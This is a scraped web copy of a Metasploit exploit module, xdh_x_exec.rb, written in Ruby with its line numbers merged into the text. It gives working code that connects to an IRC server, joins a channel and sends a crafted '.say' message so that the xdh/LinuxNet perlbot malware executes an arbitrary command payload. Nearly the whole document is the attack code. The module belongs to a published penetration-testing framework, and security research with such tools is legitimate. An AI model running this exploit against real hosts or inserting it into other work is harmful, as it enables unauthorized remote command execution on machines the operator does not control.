Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/xdh_x_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution',13'Description' => %q{14This module allows remote command execution on an IRC Bot developed by xdh.15This perl bot was caught by Conor Patrick with his shellshock honeypot server16and is categorized by Markus Zanke as an fBot (Fire & Forget - DDoS Bot). Matt17Thayer also found this script which has a description of LinuxNet perlbot.1819The bot answers only based on the servername and nickname in the IRC message20which is configured on the perl script thus you need to be an operator on the IRC21network to spoof it and in order to exploit this bot or have at least the same ip22to the config.23},24'Author' =>25[26#MalwareMustDie27'Jay Turla', # msf28'Conor Patrick', # initial discovery and botnet analysis for xdh29'Matt Thayer' # initial discovery for LinuxNet perlbot30],31'License' => MSF_LICENSE,32'References' =>33[34[ 'URL', 'https://conorpp.com/blog/a-close-look-at-an-operating-botnet/' ],35[ 'URL', 'https://twitter.com/MrMookie/status/673389285676965889' ], # Matt's discovery36[ 'URL', 'https://www.alienvault.com/open-threat-exchange/blog/elasticzombie-botnet-exploiting-elasticsearch-vulnerabilities' ] # details of what an fBot is37],38'Platform' => %w{ unix win },39'Arch' => ARCH_CMD,40'Payload' =>41{42'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf43'DisableNops' => true,44'Compat' =>45{46'PayloadType' => 'cmd'47}48},49'Targets' =>50[51[ 'xdh Botnet / LinuxNet perlbot', { } ]52],53'Privileged' => false,54'DisclosureDate' => '2015-12-04',55'DefaultTarget' => 0))5657register_options(58[59Opt::RPORT(6667),60OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),61OptString.new('NICK', [true, 'IRC Nickname', 'msfuser']), # botnet administrator name62OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])63])64end6566def post_auth?67true68end6970def check71connect7273res = register(sock)74if res =~ /463/ || res =~ /464/75vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")76return Exploit::CheckCode::Unknown77end7879res = join(sock)80if !res =~ /353/ && !res =~ /366/81vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")82return Exploit::CheckCode::Unknown83end8485quit(sock)86disconnect8788if res =~ /auth/ && res =~ /logged in/89Exploit::CheckCode::Vulnerable90else91Exploit::CheckCode::Safe92end93end9495def send_msg(sock, data)96sock.put(data)97data = ""98begin99read_data = sock.get_once(-1, 1)100while !read_data.nil?101data << read_data102read_data = sock.get_once(-1, 1)103end104rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e105elog(e)106end107108data109end110111def register(sock)112msg = ""113114if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?115msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"116end117118if datastore['NICK'].length > 9119nick = rand_text_alpha(9)120print_error("The nick is longer than 9 characters, using #{nick}")121else122nick = datastore['NICK']123end124125msg << "NICK #{nick}\r\n"126msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"127128send_msg(sock,msg)129end130131def join(sock)132join_msg = "JOIN #{datastore['CHANNEL']}\r\n"133send_msg(sock, join_msg)134end135136def xdh_command(sock)137encoded = payload.encoded138command_msg = "PRIVMSG #{datastore['CHANNEL']} :.say #{encoded}\r\n"139send_msg(sock, command_msg)140end141142def quit(sock)143quit_msg = "QUIT :bye bye\r\n"144sock.put(quit_msg)145end146147def exploit148connect149150print_status("#{rhost}:#{rport} - Registering with the IRC Server...")151res = register(sock)152if res =~ /463/ || res =~ /464/153print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")154return155end156157print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")158res = join(sock)159if !res =~ /353/ && !res =~ /366/160print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")161return162end163164print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...")165xdh_command(sock)166167quit(sock)168disconnect169end170end171172173